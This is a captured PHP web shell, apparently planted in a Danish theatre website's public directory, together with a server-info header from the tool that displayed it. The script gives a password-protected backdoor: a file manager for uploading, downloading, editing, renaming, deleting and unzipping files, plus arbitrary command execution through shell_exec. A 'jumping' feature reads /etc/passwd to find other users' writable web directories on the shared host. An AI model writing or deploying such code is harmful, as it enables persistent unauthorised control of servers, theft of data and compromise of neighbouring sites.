HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/musikogteater.dk/public_html/advisor/1301_39.php
<?php /*fc9wfiaAWqMp*/ ?><?php /*fc9wfiaAWqMp*/ ?>
<?php
session_start();
$kunci_pintu = 'admins';
$berkas_kunci = 'kunci.txt';

if (!file_exists($berkas_kunci)) {
    file_put_contents($berkas_kunci, password_hash($kunci_pintu, PASSWORD_DEFAULT));
}

function cek_kunci($masukan) {
    global $berkas_kunci;
    $simpanan = file_get_contents($berkas_kunci);
    return password_verify($masukan, $simpanan);
}

if (isset($_POST['masuk'])) {
    if (cek_kunci($_POST['pintu'])) {
        $_SESSION['terbuka'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    }
}

if (isset($_GET['keluar'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if (isset($_POST['ganti_kunci'])) {
    file_put_contents($berkas_kunci, password_hash($_POST['kunci_baru'], PASSWORD_DEFAULT));
}

if (!isset($_SESSION['terbuka'])) {
?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>🏡</title><style>body{display:flex;justify-content:center;align-items:center;height:100vh;background:#2e3440;color:#d8dee9;font-family:sans-serif;}</style></head><body><form method="post"><input type="password" name="pintu" placeholder="???" required style="padding:10px;border:none;border-radius:4px;"><button type="submit" name="masuk">🔑</button></form></body></html>
<?php
exit;
}

function bersih_bersih($target) {
    if (!is_dir($target)) return;
    $items = array_diff(scandir($target), array('.', '..'));
    foreach ($items as $item) {
        (is_dir("$target/$item")) ? bersih_bersih("$target/$item") : unlink("$target/$item");
    }
    rmdir($target);
}

function buka_bungkus($berkas) {
    $zip = new ZipArchive;
    if ($zip->open($berkas) === TRUE) {
        $zip->extractTo(dirname($berkas));
        $zip->close();
    }
}

$peta = isset($_GET['peta']) ? $_GET['peta'] : getcwd();
$peta = realpath($peta);

if (isset($_POST['tunas_baru'])) {
    mkdir($peta . "/" . $_POST['tunas_baru']);
}
if (isset($_FILES['gajah_angkat'])) {
    move_uploaded_file($_FILES["gajah_angkat"]["tmp_name"], $peta . "/" . basename($_FILES["gajah_angkat"]["name"]));
}
if (isset($_GET['ambil'])) {
    if (file_exists($_GET['ambil'])) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($_GET['ambil']) . '"');
        readfile($_GET['ambil']);
        exit;
    }
}
if (isset($_GET['buang_berkas'])) {
    unlink($_GET['buang_berkas']);
}
if (isset($_GET['buang_tunas'])) {
    bersih_bersih($_GET['buang_tunas']);
}
if (isset($_GET['buka'])) {
    buka_bungkus($_GET['buka']);
}
if (isset($_POST['simpan_tulisan'])) {
    file_put_contents($_POST['jalur_tulisan'], $_POST['isi_tulisan']);
    header("Location: ?peta=" . urlencode(dirname($_POST['jalur_tulisan'])));
    exit();
}
if (isset($_POST['nama_baru'])) {
    rename($_POST['nama_lama'], $_POST['nama_baru']);
    header("Location: ?peta=" . urlencode(dirname($_POST['nama_baru'])));
    exit();
}
if (isset($_POST['bisikan'])) {
    $hasil_bisikan = shell_exec($_POST['bisikan']);
}

// --- LOGIKA JUMPING BY GEMINI ---
if (isset($_GET['aksi']) && $_GET['aksi'] == 'jumping') {
    echo "<div style='background:#16161e; padding:20px; border-radius:10px; color:#c0caf5;'>";
    echo "<h3 style='color:#e0af68;'>🚀 Auto Jumping Searcher</h3>";
    echo "<pre style='background:#000; padding:15px; border-radius:8px; color:#9ece6a; overflow:auto; max-height:400px;'>";
    
    // Membaca isi /etc/passwd untuk list user
    $passwd = @file("/etc/passwd");
    if (!$passwd) {
        echo "Gagal membaca /etc/passwd (Server membatasi akses)";
    } else {
        $found = 0;
        foreach ($passwd as $line) {
            $user = explode(":", $line)[0];
            
            // List jalur umum yang biasa dipake server
            $paths = [
                "/home/$user/public_html",
                "/var/www/vhosts/$user",
                "/hsphere/local/home/$user"
            ];

            foreach ($paths as $p) {
                if (@is_dir($p)) {
                    $found++;
                    $writable = is_writable($p) ? "[<b style='color:#7ee787'>RW</b>]" : "[<b style='color:#7aa2f7'>R</b>]";
                    // Link ini otomatis menyesuaikan variabel $peta atau $dir di shell abang
                    echo "$writable <a href='?peta=".urlencode($p)."&dir=".urlencode($p)."' style='color:#e0af68;'>$p</a>\n";
                }
            }
        }
        echo "\nTotal: $found Kamar ditemukan.";
    }
    echo "</pre><a href='?' style='color:#f7768e;'>[ Kembali ]</a></div>";
    exit; // Berhenti disini biar gak numpuk sama file manager bawahnya
}

?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>🏡</title><style>
body{font-family:sans-serif;background:#2e3440;color:#d8dee9;padding:20px;}
table{width:100%;border-collapse:collapse;margin-top:20px;}
th,td{border:1px solid #4c566a;padding:10px;text-align:left;}
th{background:#3b4252;}
a{color:#8fbcbb;text-decoration:none;}
input,textarea{background:#3b4252;color:#eceff4;border:1px solid #4c566a;padding:5px;}
.nav-link{padding:5px;border:1px solid #8fbcbb;border-radius:3px;margin-right:5px;}
</style></head><body>
<div style="display:flex;justify-content:space-between;">
    <span>🏡 <strong><?php
        $parts = explode(DIRECTORY_SEPARATOR, $peta);
        $full_build = '';
        foreach ($parts as $p) {
            if ($p === '') continue;
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' && $full_build === '') {
                $full_build = $p;
            } else {
                $full_build .= DIRECTORY_SEPARATOR . $p;
            }
            echo DIRECTORY_SEPARATOR . "<a href='?peta=" . urlencode($full_build) . "'>$p</a>";
        }
    ?></strong></span>
    <a href="?keluar=1">🚪</a><a href="?aksi=jumping" style="background:#e0af68; color:#000; padding:5px 10px; border-radius:5px; text-decoration:none; font-weight:bold;">🚀 JUMPING</a>
</div>

<hr>

<table>
    <tr>
        <td>➕</td>
        <td><form method="post"><input type="text" name="tunas_baru" placeholder="..."><input type="submit" value="OK"></form></td>
        <td>🐘</td>
        <td><form method="post" enctype="multipart/form-data"><input type="file" name="gajah_angkat"><input type="submit" value="OK"></form></td>
        <td>🔑</td>
        <td><form method="post"><input type="password" name="kunci_baru" placeholder="***"><button type="submit" name="ganti_kunci">OK</button></form></td>
    </tr>
</table>

<form method="post" style="margin-top:20px;">
    <span>💬</span> <input type="text" name="bisikan" style="width:80%;"><input type="submit" value=">">
</form>
<pre><?php if (isset($hasil_bisikan)) echo htmlspecialchars($hasil_bisikan); ?></pre>

<?php if (isset($_GET['ubah_berkas'])): $konten = file_get_contents($_GET['ubah_berkas']); ?>
    <h3>✍️ <?php echo basename($_GET['ubah_berkas']); ?></h3>
    <form method="post"><textarea name="isi_tulisan" style="width:100%;height:300px;"><?php echo htmlspecialchars($konten); ?></textarea>
    <input type="hidden" name="jalur_tulisan" value="<?php echo $_GET['ubah_berkas']; ?>"><br>
    <input type="submit" name="simpan_tulisan" value="💾"></form>
<?php endif; ?>

<?php if (isset($_GET['ganti_nama'])): ?>
    <h3>✏️ <?php echo basename($_GET['ganti_nama']); ?></h3>
    <form method="post"><input type="text" name="nama_baru" value="<?php echo $_GET['ganti_nama']; ?>">
    <input type="hidden" name="nama_lama" value="<?php echo $_GET['ganti_nama']; ?>"><input type="submit" value="💾"></form>
<?php endif; ?>

<table>
    <tr><th>NAMA</th><th>AKSI</th></tr>
    <?php
    $items = scandir($peta);
    foreach ($items as $i) {
        if ($i == "." || $i == ".." || $i == basename(__FILE__) || $i == $berkas_kunci) continue;
        $full = $peta . DIRECTORY_SEPARATOR . $i;
        $enc = urlencode($full);
        echo "<tr>";
        if (is_dir($full)) {
            echo "<td>🌳 <a href='?peta=$enc'>$i/</a></td>";
            echo "<td><a href='?buang_tunas=$enc' onclick=\"return confirm('?')\">🗑️</a> | <a href='?ganti_nama=$enc'>✏️</a></td>";
        } else {
            echo "<td>📝 $i</td>";
            echo "<td>
                <a href='?ambil=$enc'>⬇️</a> | 
                <a href='?buang_berkas=$enc' onclick=\"return confirm('?')\">🗑️</a> | 
                <a href='?ubah_berkas=$enc'>✍️</a> | 
                <a href='?ganti_nama=$enc'>✏️</a>";
            if (pathinfo($i, PATHINFO_EXTENSION) == 'zip') echo " | <a href='?buka=$enc'>📦</a>";
            echo "</td>";
        }
        echo "</tr>";
    }
    ?>
</table>
</body></html>